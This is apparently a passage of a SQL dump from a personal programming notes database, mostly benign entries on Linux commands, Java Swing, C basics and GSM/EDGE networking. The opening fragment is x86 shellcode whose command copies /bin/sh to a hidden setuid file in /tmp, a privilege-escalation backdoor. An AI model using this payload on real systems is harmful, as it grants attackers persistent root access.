“\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68?\n“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99?\n“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7?\n“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56?\n“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31?\n“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69?\n“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00?\n“cp -p /bin/sh /tmp/.beyond; chmod 4755\n/tmp/.beyond;”;\n','2015-03-01 17:34:21'),(880,'#mysql -error -repair-table',NULL,NULL,'\nsometimes u have the msg in ur mysql that u have to repair table00\n    repair table table00;\n','2015-03-01 18:03:26'),(881,'#bash -rename -append-str-files',NULL,NULL,'\nto append the str00 in the beginning of the file\n    rename \'s/^/str00/\' *\n\nto append the str in the end of the file\n    rename \'s/$/str00/\' *\n\nrename all files with DATASET in the start of its names\n    rename \'s/^/1_/\' DATASET*\n','2015-03-02 01:12:17'),(882,'#linux -tail-f-folder -inotifywait',NULL,NULL,'\nu have to install \n    inotify-tools\n\ninotifywait -m -q -e create,delete,move /path/dir\n','2015-03-02 03:15:34'),(883,'#linux -synchronize-folder -rsync -long-list',NULL,NULL,'\nTo sync the contents of dir1 to dir2 on the same system,\n    rsync -r dir1/ dir2\n                 ^\n                 L+--- do not forget this\n    if u forgot: \"rsync -r dir1 dir2\"\n        then there will be:\n            dir2/dir1/....\n\nhttp://www.cyberciti.biz/tips/linux-use-rsync-transfer-mirror-files-directories.html\n','2015-03-02 03:49:20'),(884,'#linux -find -version',NULL,'find --version',NULL,'2015-03-02 04:04:55'),(887,'#linux -checksum',NULL,NULL,'\nthose are the types of checksum in linux:\n    sha\n        sha1\n            pass\n            deep\n        sha224sum\n        sha256\n            sum\n            deep\n        sha384sum\n        sha512sum\n        shasum\n    md5\n        deep\n        pass\n        sum\n    cksum\n','2015-03-02 04:21:00'),(886,'#linux -find -regex',NULL,'find . -regextype sed -regex \".*/[a-f0-9\\-]\\{36\\}\\.jpg\"',NULL,'2015-03-02 04:06:42'),(888,'#java -MouseListener -gpn -interface',NULL,NULL,'\notrzao ny maazatra zan ee...                                                                                                                                                                                                                           [2/35]\n===================================\n\nclass FrameMouseListener ext JFr implements MouseListener{\n    @Override:\n    public void mouseClicked(MouseEvent e){ ... }\n    public void mousePressed(MouseEvent e){ ... }\n    public void mouseReleased(MouseEvent e){ ... }\n    public void mouseEntered (MouseEvent e){ ... }\n    public void mouseExited(MouseEvent e){ ... }\n}\n\net pour avoir les coordonnees des clics:\n    public void mouseClicked(MouseEvent e) {\n        sop(\"x: \"+e.getX()+ \" y: \"+e.getY());\n    }\n\net pour savoir si le click est clickee par droite ou par gauche\n...\npublic void mouseClicked( MouseEvent e){\n        v----------------------------^\n    if((e.getModifiers() & InputEvent.BUTTON1_MASK) != 0){\n          ------------+-              |      |\n                      |               |      |\nc un truc de bit,    -+               |      |\necrit le juste com ca-+               |      |\n        ...                           |--+---|\n                                         |\n        // ici si le click vient du click_gauche\n        ...\n        // si le click vient du click_droite:\n        //      ....BUTTON3_MASK....\n        // click_centrale\n        //      ....BUTTON2_MASK....\n    }\n}\n...\n\npour gerer le double_clics\n    ...\n    public void mouseClicked(MouseEvent e){\n        if(e.getClickCount() == 2) {\n            ...\n            // pour le double click\n        }\n    }\n    ...\n\npour gerer si le bouton_droit est clicker avec <ctrl>\n    ...\n    public void mouseClicked( MouseEvent e ){\n        if( e.isControlDown() & (e.getModifiers() & InputEvent.BUTTON3_MASK) ) {\n            // ici pour gere <ctrl>+click_droit\n        }\n    }\n    ...\n    // il y a aussi:\n    //      isAltDown()\n    //      isShiftDown()\n    //      isMetaDown()\n    //          true si une des: <ctrl>, <alt>, <shift>\n    //              est appuiee\n\nMouseListener est souvent couplee avec MouseMotionListener\n\n','2015-03-12 07:53:09'),(889,'#java -MouseMotionListener -gpn',NULL,NULL,'\nc_est pour l_evt quand la souris est: \n    en deplacement\n    s_est fait trainee\n\ncette interface est souvent couplee avec \n    MouseListener\n\nclass FrameMouseMotionListener ext JFrame impl MousemotionListener {\n    \n    public void mouseDragged( MouseEvent e ){ ... }\n    public void mouseMoved( MouseEvent e ){ ... }\n\n}\n','2015-03-03 00:47:54'),(890,'#java -gpn -windowlistener -windowAdapter',NULL,NULL,'\nclass FrameWindowListener ext JFrame impl WindowListener {\n\n    public void windowClosing( WindowEvent e) {...}\n    public void windowOpened( WindowEvent e) {...}\n    public void windowIconified( WindowEvent e) {...}\n    public void windowDeiconified( WindowEvent e) {...}\n    public void windowClosed( WindowEvent e) {...}\n    public void windowActivated( WindowEvent e) {...}\n    public void windowDeactivated( WindowEvent e) {...}\n\n}\n\nou_bien\n\nclass FrameWindowAdapter ext JF {\n    public FrameWindowAdapter(){\n        ...\n        addWindowListener( new WindowAdapter(){\n            public void windowClosing( WindowEvent e ){\n                System.exit( 0 );\n            }\n        });\n        ...\n    }\n}\n','2015-03-03 00:44:03'),(891,'#java -gpn -jlabel',NULL,NULL,'\nJLabel label = new JLabel(\"this is a label\");\n\nadd label into a container of extJFrame\n','2015-03-03 01:15:19'),(892,'#java -print-String-array',NULL,NULL,'\npublic static void printSimpleArrString(String[] strArr) {\n    for ( int i = 0; i < strArr.length; i++){\n        if ( i != strArr.length - 1 ){\n            System.out.print(strArr[i] + \", \");\n        }else{\n            System.out.println(strArr[i] );\n        }\n    }\n}\n','2015-03-03 03:47:30'),(893,'#java -get-avalaible-fonts',NULL,NULL,'\nString fontes[] = GraphicsEnvironment.getLocalGraphicsEnvironment()\n    .getAvailableFontFamilyNames() ;\n','2015-03-03 03:52:07'),(894,'#java -jpanel -police -long-list -drawString -font-metrics -alaligne -gpn -color',NULL,NULL,'\npublic void paintComponent(Graphics g){\n    super.paintComponent(g);\n    g.drawLine(x0, y0, x1, y1); // pour le tracee de ligne\n\n    g.drawString(\"coucou\", x0, y0);             +-----------------------------------+-+\n    FontMetrics fm = g.getFontMetrics() ;       | jframe                            |x|\n    y0 += fm.getHeight() ;   <<------------+    +-----------------------------------+-+\n +> g.drawString(\"je suis la\", x0, y0);    |    |    coucou                           |\n |                                         +->  |    je suis la                       |\n |       sinon pas       --+               |    |                                     |\n |         d_a la ligne    +---------------+    |                                     |\n |                       --+                    +-------------------------------------+\n |\n +-->> x0 reste la meme, mais c y0 qui a changee\n\n\n\npour donner du couleur a drawString,\n.........................................\npublic void paintComponent(Graphics g) {\n    ...\n    g.setColor(Color.red);\n    g.drawString(\"coucou\", 100, 50);\n    g.setColor(Color.blue);\n    g.drawString(\"je suis la\", 150, 50);\n    ...\n}\n\na propos des police \n    nom de famille de la police:\n        Arial, Helvetica, ...\n    style:\n        romain, bold, italiques, ...\n    taille\n    \'\n    ex.\n        ...\n        g.setFont(\"Serif\", Font.ITALIC, 32);\n\npour donner du fond de couleur a _jpanel_\n    ici on met un carre sur le jpanel, puis\n        on colorise le jpanel\n    \'\n    public void paintComponent(Graphics g){\n        ...\n        g.setColor(Color.red);\n        g.fillRect(0, 0, this.getWidth(), this.getHeight());    \n        ...\n    }\n','2015-03-07 22:32:13'),(895,'#java -paint-component -jpanel -long-list',NULL,NULL,'\nclass MaFenetre extends JFrame{\n    private JPanel pan ;\n    MaFenetre (){\n        setTitle (\"Essai dessins\") ;\n        setSize (300, 150) ;\n        pan = new Paneau() ;\n        getContentPane().add(pan) ;\n        pan.setBackground(Color.yellow) ;\n    }\n}\n\nclass Paneau extends JPanel{\n     public void paintComponent(Graphics g){ \n        super.paintComponent(g) ;\n\n        int this_width = getWidth();\n        int this_height = getHeight();                         +-------------------------+\n                                                               | jframe                  |\n        g.drawLine (15, 10, 100, 50) ;                         +-------------------------+\n        g.drawString(\"txt00\", 50, 50);                         | +-  ___________         |\n                                                               | |  (           )        |\n        g.fillOval(20, 20, 75, 75);                 +------------+  |           |        |\n        g.drawOval(x0, y0, width, height);          |          | |  |           |        |\n                                                    |          | |  (___________)        |\n        g.drawRect(10, 10, 50, 60);                 |          | +-                      | \n        g.fillRect(10, 10, 50, 60);                 |          |                         |\n                                                    |          |                         |\n        g.drawRoundRect(10, 10, 30, 50, 10, 10);  --+          +-------------------------+\n        g.fillRoundRect(55, 65, 55, 30, 5, 5);    --+\n\n        int x[] = {20, 30, 50, 60, 60, 50, 30, 20};\n        int y[] = {30, 20, 20, 30, 50, 60, 60, 50};\n        g.drawPolygon(x, y, 8);\n                            ^+-------- pour dire qu_on a 8angles sur le polygone.\n        g.fillPolygon(x, y, 8);\n    \n        #end_drawXX_fillXX\n    }\n}\n','2015-03-03 07:43:19'),(896,'#java -ImageIO -gpn -jpanel',NULL,NULL,'\n\nFile >> ImageIO >> Image\n........................\nclass FramePanel impl JPanel{\n    ...\n    public void paintComponent(Graphics g){\n        try {\n            Image img = ImageIO.read(new File(\"/path/images.jpg\"));\n            g.drawImage(img, 0, 0, this);   \n                                    ^^+------ observer00 (l_observateur de l_img)\n        } catch (IOException e) {\n            ...\n        }\n    ...\n}\n','2015-03-03 07:53:07'),(897,'#java -gpn -jsplitpane -intro -container',NULL,NULL,'\nil est utile pour diviser un frame en 2jpanel\n\nJSplitPane split = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT, pan, pan2);\n\nclass extJFrame {\n    extJFrame(){\n        JPanel pan = new JPanel();\n        pan.setBackground(Color.blue);\n        \n        JPanel pan2 = new JPanel();\n        pan2.setBackground(Color.red);\n\n        JSplitPane split = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT, pan, pan2);\n        //                                          .VERTICAL_SPLIT\n        \n        split.setOneTouchExpandable(true);\n        // pour avoir une ptite fleche sur le separateur de JPanel00\n\n        split.setDividerSize(int size) ; \n        // pour donner une taille au separateur\n\n        split.setDividerLocation(int location);\n        // pour definir l_emplct par ou le separateur va se placer\n        \n\n        this.getContentPane().add(split, BorderLayout.CENTER);\n        setVisible(true);\n    }\n}\n','2015-03-07 22:20:37'),(898,'#java -some-container -list','\nJSplitPane\nJScrollPane\nJTabbedPane\nJDesktopPane\nJWindow\nJEditorPane\nJSlider\nJProgressBar\n',NULL,NULL,'2015-03-03 09:33:23'),(899,'-alarm in #linux',NULL,NULL,'apt-get install alarm-clock','2015-03-05 02:56:35'),(900,'#memcached -intro','Memcached is an open source, high-performance, distributed memory object caching system.\nhttp://www.tutorialspoint.com/memcached/index.htm\n',NULL,NULL,'2015-03-05 04:15:18'),(901,'#gprs -limitations','\nGPRS transmission rates are much lower than in theory.\n    to achieve the theoretical maximum of about 170 kbit/s\n        one user has to be allocated in eight time slots\n        which is not likely to be allowed by network operators\n\ntransmission in gprs is like the transmission in the ip_network\n    so to reach the target, packets have to go through many nodes\n    that can produce delays affecting the qos\n\nThe protocols between the BSS and the SGSN support mainly asynchronous\n    making it a challenge to implement real-time interactive traffic\n',NULL,NULL,'2015-03-05 04:43:47'),(902,'#gsm -limitation','\nmultiple users share the same bandwidth\n    the transmission can encounter interference\n\n    Because GSM is the same network worldwide, \n        users are not charged a roaming fee for international calls. \n            However, most providers still charge a service fee on international calls\n',NULL,NULL,'2015-03-05 05:36:33'),(903,'#gsm -voice-call-log','\n-> The Mobile Station is requesting connection\n-> The BTS is sending request data to the BSC\n-> The BSC is sending request data to the MSC\n-> The MSC is checking registration and subscribed services of calling MS\n-> The MSC is checking registration and location of called MS\n-> The MSC is sending request data to the GMSC\n-> The GMSC is sending data to another network\n-> The GMSC is requesting registration and location data of called MS\n-> The HLR is checking authentication, validation and location of called MS\n-> The HLR is sending registration and location data to the GMSC\n-> The GMSC is sending location data to the MSC\n-> The MSC is sending location data for call set-up to the BSC\n-> The BSC is paging called MS\n-> Connection established\n-> CDR generation: MOC,POC\n-> Connection terminated\n-> CDR generation: MTC,PTC\n',NULL,NULL,'2015-03-05 05:37:22'),(904,'#gsm -call-ms_to_pstn',NULL,NULL,'\nThe MSC/VLR receives the message of a call request.\n\nThe MSC/VLR checks if the mobile station is authorized to access the network. \n    If so, the mobile station is activated. \n    If the mobile station is not authorized, service will be denied.\n\nMSC/VLR analyzes the number and initiates a call setup with the PSTN.\n\nMSC/VLR asks the corresponding BSC to allocate a traffic channel (a radio channel and a time slot).\n\nThe BSC allocates the traffic channel and passes the information to the mobile station.\n\nThe called party answers the call and the conversation takes place.\n\nThe mobile station keeps on taking measurements of the radio channels\n    in the present cell and neighboring cells and passes the information to the BSC. \n    The BSC decides if handover is required, \n        if so, a new traffic channel is allocated to the mobile station and the handover is performed. \n        If handover is not required, the mobile station continues to transmit in the same frequency.\n','2015-03-05 08:40:29'),(905,'#gsm -call-pstn_to_ms','\nThe gmsc receives the call and queries the HLR for the information needed to route the call to the serving MSC/VLR.\n\nThe GMSC routes the call to the MSC/VLR.\n\nThe MSC checks the VLR for the location area of the MS.\n\nThe MSC contacts the MS via the BSC through a broadcast message, that is, through a paging request.\n\nThe MS responds to the page request.\n\nThe BSC allocates a traffic channel and sends a message to the MS to tune to the channel. \n    The MS generates a ringing signal and, after the subscriber answers, the speech connection is established.\n\nHandover, \n    if required, takes place, as discussed in the earlier case.\n',NULL,NULL,'2015-03-05 08:43:11'),(906,'#linux -create-partition#ntfs',NULL,NULL,'\nthis next cmd is taken from gparted\n    when it tries to format to a ntfs_partition\n    \'\n    mkntfs -Q -v -L \"\" /dev/sdb2\n','2015-03-05 08:45:16'),(907,'#gsm -protocol-stack','\n                     |                     |                        |\n                cm   |                     |                        |        cm\n          -----------+---------------------+------------------------+---------------\n                     |                     |                        |\n                mm   |                     |                        |     mm\n                     |                     |                        |\n          -----------+---------------------+------------------------+---------------\n                     |                     |              dtap      |   dtap\n                     |                     |  rr          bssmap    |   bssmap\n          -----------+---------------------+------------------------+---------------\n                rr   |    rr        btsm   |              sccp      |   sccp\n                     |                     |  btsm                  |\n                     |                     |              mtp3      |   mtp3\n          -----------+---------------------+------------------------+---------------\n                     |                     |                        |\n             lapdm   |   lapdm     lapd    |  lapd        mtp2      |   mtp2\n                     |                     |                        |\n          -----------+---------------------+------------------------+--------------\n                     |                     |                        |\n             gsm_rf  |   gsm_rf   layer1   |  layer1      mtp1      |  mtp1\n\n                    Um                   Abis                       A\n',NULL,NULL,'2015-03-05 09:17:28'),(908,'#edge -intro -long-list','\nedge introduces a new modulation technique,\n    as well as protocol enhancements for transmitting packets over the radio\n\nedge is _almost_ a 3g\n    the use of new modulation technique increased dramatically throughput and capacity gains enabling 3G services\n\nNo changes are needed to the existing core network infrastructure to support EDGE\n\nnine mcs are introduced (mcs1 to mcs9)\n    4 of them are using gmsk\n    5 uses 8_psk_modulation\n\nwhat edge technologies required:\n============================================\n    MS should be EDGE enabled\n    in bts: the hardware in bts is Edge enabled\n    in bsc: Definitions for EDGE timeslots needs to be done in BSC\n    in gsn: Definitions for Edge need to be defined in GSN\n\nbenefits:\n============================================\n    Increases the capacity and triples the data rate of GPRS\n    Enables new multimedia services\n        ifk: mms\n    Harmonization with WCDMA\n    Short-term benefits: Capacity and performance\n    Easy implementation on a GSM/GPRS network\n\nfor the user, it means:\n============================================\n    Streaming applications\n    Very high speed downloads\n    Quicker MMS\n    Video conference, Remote presentations\n',NULL,NULL,'2015-03-06 01:27:39'),(909,'dual-ip-stack -intro','\nused for for IPv6 migration\n\nIt helps to establish communication between your IPv6 network \n    and the native IPv4 hosts and applications\n\nA dual-stack node has support for both protocol versions(ipv6 and ipv4)\n',NULL,NULL,'2015-03-07 15:30:26'),(913,'#java -jtabbedpane -intro',NULL,NULL,'\nto put many jpanelXX in sth like this:\n\n            +-------------------------------------------------+\n            | jframe                                          |\n            +-------------------------------------------------+\n            |+------+------+---------------------------------+|\n            ||tab01 |tab02 |tab03 |                          ||\n            |+------+      +---------------------------------+|\n            ||                                               ||\n            ||    content of tab02                           ||\n            ||        this is a jpanel02                     ||\n            ||                                               ||\n            |+-----------------------------------------------+|\n            +-------------------------------------------------+\n\n\n\nclass extPanel01 ext JPanel {                                  -----+\n    public void paintComponent(Graphics g){                         |\n        g.setColor(Color.blue);                                     +---this are not\n        g.fillReect(0, 0, this.geWidth(), this.getHeight());        |      really important\n    }                                                               |   u should know these\n}                                                                   |     before\n                                                                    |\nclass extPanel02 ext JPanel{                                        |\n    public void paintComponent(Graphics g){                         |\n        g.setColor(Color.red);                                      |\n        g.fillReect(0, 0, this.geWidth(), this.getHeight());        | -->> used to draw the \n    }                                                               |        background into\n}                                                             ------+            red\n\npublic class FrameTabbedPane ext JFr {\n    constructor {\n        tiitle, bound, default_close\n        JTabbedPane tabbedpane = new JTabbedPane();\n\n        extPanel01 pan01 = new ext...\n        .........2 ....2 ...........\n        \n        tabbedpane.add(\"onglet avec blue\", pan01);\n        tabbedpane.add(\"onglet avec red\", pan02);\n\n        this.getContentPane().add(tabbedpane);\n        setVisible(true);\n    }\n\n}\n\nif u want to put an img in the place of tab in the tabbedpane\nin the constructor before\n    u have to add sth\n    \'\n    ...\n    tabbedpane.add(\"onglet avec blue\", pan01);\n    tabbedpane.setIconAt(0, \"/path/img00.jpg\");\n    ...\n\nJTabbedPane onglet = new JTabbedPane(JTabbedPane.LEFT);\n\nif u want to do sth like this next one:\n\n       +--------------------------------------------------+\n       | +-----+-----------------------------------------+|\n       | |tab01|                                         ||\n       | +-----+                                         ||\n       | |                                               ||\n       | |tab02      content of tab02                    ||\n       | |                                               ||\n       | +-----+                                         ||\n       | |tab03|                                         ||\n       | |     |                                         ||\n       | +-----+-----------------------------------------+|\n       +--------------------------------------------------+\n\nthen u have to do this next cmd :\n    JTabbedPane onglet = new JTabbedPane(JTabbedPane.LEFT);\n\n\n','2015-03-07 22:53:51'),(915,'#java -jpanel -paint_bg',NULL,NULL,'\npublic void paintComponent(Graphics g){\n    ...\n    g.setColor(Color.red);\n    g.fillRect(0, 0, this.getWidth(), this.getHeight());    \n    ...\n}\n\nconstructor ext JPanel{\n    ...\n    setBackground(Color.red);\n    ...\n}\nbut in that case(with constructor) u don_t have to redefine method\n    paintComponent\n','2015-03-07 23:06:33'),(916,'#java -jdesktoppane -jinternalframe -intro',NULL,NULL,'\nifk:\n    jdesktoppane is a kinda container for jinternalframe\n    these 2 objects must work 2gvr\n\n#sdz(378)\n}\n','2015-03-07 23:17:48'),(917,'#java -jwindow -intro',NULL,NULL,'\nthis is like jframe but without button to:\n    close\n    maximize\n    minimize\n','2015-03-07 23:19:12'),(918,'#java -jslider -gpn',NULL,NULL,'\n+----------------------------------------------------+\n| jslider                                            |\n+----------------------------------------------------+\n|        ._.     ._.    ._.    ._.                   |\n|  +------+-------+------+------+--------+           |\n|  +------v-------v------v------v--------+           |\n|  |  `   |   `   |   `  |   `  |    `   |           |    <<-+      --+--+\n|  0     20      40      60     80      100          |       | <<+  --+  |\n|                                                    |       |   |       |\n|                                                    |       |   |       |\n+----------------------------------------------------+       |   |       |\n                                                             |   |       |\nclass extJFrame {                                            |   |       |\n    constructor{                                             |   |       |\n        ...                                                  |   |       |\n        JSlider slide = new JSlider();                       |   |       |\n                                                             |   |       |\n        slide.setMaximum(100);                               |   |       |\n        slide.setMinimum(0);                                 |   |       |\n        slide.setValue(30);   // the default value           |   |       |\n                                                             |   |       |\n        slide.setPaintTicks(true);            ---------------+   |       |\n        slide.setPaintLabels(true);           -------------------+       |\n        slide.setMinorTickSpacing(10);                   -+--------------+\n        slide.setMajorTickSpacing(20);                   -+\n\n        ...\n    }\n}\n\nslide.addChangeListener( extChangeListener00 )\n                          ^^^^^^^^^^\n         +++ ---------------++++\n        vvvv\nclass ChangeListener{\n    public void stateChanged(ChangeEvent ce) {...}\n}\n\nto exploit jslider:\n    public void stateChanged(ChangeEvent ce) {\n        ...                               ^      +-- take the source and\n        sop(\":\" +          -------------- +      |     cast it to jslider\n            (             |                      |   when jslider is gotten\n                (JSlider)(ce.getSource() --------+     take the value..\n            ).getValue())\n        );\n        ...\n    }\n        \n\n','2015-03-08 00:10:46'),(919,'#java -programming-techniques','\nfaites tjr en avant les methodes avec des arguments tres nombreux\n    puis faites les meth avec les arg moins nbrE qui va dependre du meth avec arg_nbrE\n\nifk avec jdbc:\n    tu dois faire les requete dans resultset puis\n        tu exploite resultset apres\n',NULL,NULL,'2015-03-08 07:28:26'),(920,'#java -logger -intro -long-list',NULL,NULL,'\nlogger in java must be singleton\nlogger in java must be static\n\nit is loaded from \n    import java.util.logging.Logger;\n','2015-03-08 07:08:48'),(921,'#java -drag-drop',NULL,NULL,'\njust set this cmd:\n    ...\n    component00.setDragEnabled(true);\n    ...\n\ncomponent00 could be:\n                            Drag            Drop\n    JTextField                  1               1\n    JLabel                      0               0\n    JTextArea                   1               1\n    JPasswordTextField          0               1\n    JTable                      1               0\n    JTree                       1               0\n    JList                       1               0\n','2015-03-08 09:14:30'),(922,'#java -regex -long-list','\n^       Matches beginning of line. (i don_t know this very well yet)\n    instead i use a.*\n    instead i use a.*\n$       Matches end of line.\n\na|b     Matches either a or b.\n(re)    Groups regular expressions and remembers matched text.\n[abcde] Matches any single character in brackets.\n[0-9]   Matches 0 till 9\n\nre*     Matches 0 or more occurrences of preceding expression.\nre+     Matches 1 or more of the previous thing\nre?     Matches 0 or 1 occurrence of preceding expression.\nre{n}   Matches exactly n number of occurrences of preceding expression.\nre{n,}  Matches n or more occurrences of preceding expression.\n\n\\w     Matches word characters.\n\\W     Matches nonword characters.\n\\d     Equivalent to [0-9].\n',NULL,NULL,'2015-03-08 09:44:35'),(926,'#c_pr -intro -hello',NULL,NULL,'\n\n#include <stdio.h>               ----+---directive_preprocesseur\n#include <stdlib.h>              ----+\n\nint main()                          ---+----meth_main\n{                                      |\n    printf(\"Hello world!\");            |\n    return 0;                          |\n}                                   ---+\n\nsave it in /path/file00.c\n\nhere is a script in which u can compil and run the c_file\n\nc_comp_run(){\n if [[ -n $1 ]]; then\n        cc -g -Wall \"$1\" -o ${1/.c/};\n        ./${1/.c/};\n    else\n        echo \'to compile c program\';\n        echo \'  ex : this_ cprog00.c\';\n    fi\n}\n\nto run it c_comp_run /path/file00.c\n\n','2015-03-08 16:53:02'),(927,'#c_pr -printf -long-list',NULL,NULL,'\nint main(){}\n    printf(\"this is a test\");\n}\n\nprintf ne fait pas d_a la ligne automatiquement\n    il faut mettre \\n si on veut que printf fait d_a la ligne\n    \'\n    ex:\n        printf(\"first line\\n\");\n        printf(\"second line\");\n\n\n\n\nprintf(\"Ah ! Vous avez donc %d ans !\", age);\n\n%d	integer\n%f	float\n%p     val_addr\n    ex: \n    int a = 10;\n    printf(\"val_addr: %p\", &a);\n        // 0023FF74\n        // souviens que, qui dit \n        //  %p dit &var00\n    printf(\"val_var: %d\", a);\n\n%c      char\n%s     string(chaine de char)\n#end_percent\n\n','2015-03-08 22:12:53'),(928,'#c_pr -scanf -long-list',NULL,NULL,'\nint main(){}\n    double poids = 0;\n    scanf(\"%lf\", &poids);\n}\n','2015-03-08 15:48:13'),(929,'#hw -about-memo_and_programming','\nde plus rapides au plus lentes:\n    registres,\n    memo_caches,\n    memo_vive,\n    disque_dur\n\nce que la memovive(RAM) se presente:\n   +-----------------+----------------+\n   |    0            |  4568999       |\n   |    1            |  7.346         |\n   |    2            |  0.543567      |\n   |    3            |     ...        |\n   |    4            |     ...        |\n   |    5            |     ...        |\n   |    6            |     ...        |\n   |    7            |     ...        |\n   +-----------------+----------------+\nen chq addr on pE stocker une seule valeur\nla memo n_est faite que pour stocker des nbr\n    pour stocker lettre, il y a table qui fait la relation\n\nen faisant \n    int age = 10;\n    \'\n    le prg dmd au os de stocker ce donnee(10)\n	l_os repond et indique ouu le prg peut stocker ce donnee\nsupposant 10 est stocker dans addr=4655(role du compilateur)\nle mot age est remplacee par 4655\n\non a donc\n    \n    addr        |       val\n----------------+--------------\n+-> 4655        |       10\n|\n+-------------+\n|             |\n4655 <---> age\n\npour avoir l_addr du var age on utilise \n    &\n    donc,\n        print(\"addr_age: %p\", &age);\n    va afficher\n        4655\n    \'\n    \'\n    scanf(\"%d\", &var): veut dire\n        mettre la valeur recue dans l_addresse_du_var\n\npour avoir la valeur du var age, on utilise\n    age\n    \'\n    printf(\"age: %d\", age);\n',NULL,NULL,'2015-03-08 17:37:26'),(930,'#c_pr -using-memo','\nnotre programme a besoin de stocker des données\n    ils seront stocker dans la memoire vive\n    \'\n    registres et mem_caches aussi sont utilisees mais \n        cela se fait automatiquement.\n',NULL,NULL,'2015-03-08 15:56:33'),(931,'#c_pr -function -long-list',NULL,NULL,'\nint addInt(int a, int b){\n    return a+b;\n}\n','2015-03-08 16:01:59'),(932,'#c_pr -math',NULL,NULL,'\ntu dois charger le directive_preprocesseur\n    #include <math.h>\n\npour la valeur absolue\n    int abs_val = fabs(-5);\n\npour la prochaine integer au dessus\n    int ceil_val = ceil(7.876);\n\nfloor est l_inverse de ceil\n\npuissance\n    pow(nbr, puissance);\n    \'\n    double double_val = pow(4, 2);\n    // double_val = 4^2\n    //  = 16\n\nracine_carree\n    double d_val = sqrt(9);\n\nsin, cos, tan\n    double sin_val = sin(rad_value);\n','2015-03-08 16:15:09'),(933,'#c_pr -if',NULL,NULL,'\nif (age >= 18){\n    printf (\"Vous etes majeur !\");\n}else if ( age > 4 ) // Sinon, si l\'âge est au moins supérieur à 4\n{\nprintf (\"Bon t\'es pas trop jeune quand meme...\");\n}\n\nelse // Sinon...\n{\n    printf (\"Ah c\'est bete, vous etes mineur !\");\n}\n','2015-03-08 16:17:16'),(934,'#c_pr -switch',NULL,NULL,'\nswitch (age){\n    case 2:\n        printf(\"Salut bebe !\");\n        break;\n    case 6:\n        printf(\"Salut gamin !\");\n        break;\n    case 12:\n        printf(\"Salut jeune !\");\n        break;\n    case 16:\n        printf(\"Salut ado !\");\n        break;\n    case 18:\n        printf(\"Salut adulte !\");\n        break;\n    case 68:\n        printf(\"Salut papy !\");\n        break;\n\n\n    default:\n        printf(\"Je n\'ai aucune phrase de prete pour ton age \");\n        break;\n}\n\n','2015-03-08 16:19:53'),(935,'#c_pr -function -for_fut',NULL,NULL,'\nint read_int(){\n    int res = 0;\n    printf(\"int: \");\n    scanf(\"%d\", &res);\n    return res;\n}\n\nvoid print_str(char txt[]){\n    int _size = strlen(txt);\n    int i = 0;\n    for (i = 0; i < _size; i++){\n        printf(\"%c\", txt[i]);\n    }\n}\n\nfor reading_str check(935);\n\n\n\n\n\nhere are some functions which u can use for managing the string\n========================================\nsuppose that \n    char[] txt=\"this is a test\";\n\nto get the length\n    int length = strlen(txt);\n\nto concat 2str\n    char chaine1[100] = \"Salut \", \n    chaine2[] = \"Mateo21\";\n    \'\n    strcat(chaine1, chaine2);\n    // chaine1 = Salut Mateo21\n\nto build a str01 from another str00\n    char chaine[100];\n    int age = 99;\n    sprintf(chaine, \"Tu as %d ans !\", age);\n    / chaine = Tu as 99 ans\n','2015-03-08 23:02:24'),(936,'#c_pr -for -basis',NULL,NULL,'\nmain() {\n    ....\n    int i;\n    for (i = 0 ; i < 10 ; i++){\n        printf(\"Je ne dois pas recopier mon voisin\n\");\n    }\n    ....\n}\n\ntsMande rah\n    for(int i = 0; i < 10; i++){ ... }\n','2015-03-08 16:32:02'),(937,'#c_pr -prototype -intro -long-list',NULL,NULL,'\nndrai ndrai mnw erreur rah lasa aloha ny main ka miantso\n    fct izay ani aorianan_main\n    \'\n    tkn asina prototype(declaration izn ani am voloan_ny prg)\n        ka azo alefa ani aoriana ny fct00 rhf aveo\nex:\n    #include<stdio.h>\n    #include<stdlib.h>\n    double aireRectangle(double largeur, double hauteur);\n    \'\n    main(){\n        // mapiasa fct_aireRectangle(6.7, 8.5);\n    }\n    \'\n    double aireRectange(double largeur, double hauteur){\n        return largeur * hauteur;\n    }\n\nrhf hnw anle prototype anle fct izay tsMretournee nininn ren\n    asio void ny any am prototype\n    asio void aty manomboka ny meth\n','2015-03-08 21:53:03'),(938,'#c_pr -header',NULL,NULL,'\nt_as vu le prototype(lg juste precedent(937))\n\npossible qu_on a bcp de prototype\non met ces prototypes dans fichier_header(file00.h)\n','2015-03-08 16:47:11'),(939,'#c_pr -var_global',NULL,NULL,'\n#include ....\n\nint a = 0;       ---+---- ces var seront accessibles dans\ndouble b = 1;    ---+        tout les fichiers du prg\n\nstatic int c = 8;       ---+---- ces var seront accessible par tout\nstatic double e = 8.7;  ---+         les methodes de ce fichier\n                                     mais tout les fichiers du projet\n\ndouble aireRect(double lrg, double lng);\n\nint main(){\n    ....\n}\n','2015-03-08 16:56:54'),(940,'#c_pr -var_static',NULL,NULL,'\n\nint fct00 () {             +-- ceci sera _pas_\n    static int a = 0;   ---+     effacee de la memo\n    ....                   +--   meme apres exe de fct00 par main\n    return 0;\n}\n','2015-03-08 16:59:03'),(941,'#c_pr -pointer -long-list',NULL,NULL,'\nqui dit pointeur, dit addresse\nles pointers sont des nouveaux types de variables\n\nles ptr sont des var pour stocker des addr\n\ncreation\n    int *monPointeur;      ------- ceci de preference\n    int* ptr00;\n\ninitialisation\n    int *ptr00 = null;\n\n\n\n               +-------------------------------+\nsupposons:     v                               |\n    int age = 10;                  -----+      |\n    int *pointeurSurAge = &age; ----+   |      |\nalors:                              |   |      |\n                                    |   |      |\n    addr        |   val             |   |      |\n ---------------+---------------    |   |      |\n    0           |   678             |   |      |\n    1           |   87.6789         |   |      |\n    2           |   177450      <<--+   |      |\n         +-----------^                  |      |\n    ...  v      |                       |      |\n    177450      |   10             <<---+      |\n    ...         |    ^                         |\n                     +-------------------------+\n\nsi on veut afficher le val_age a partir du 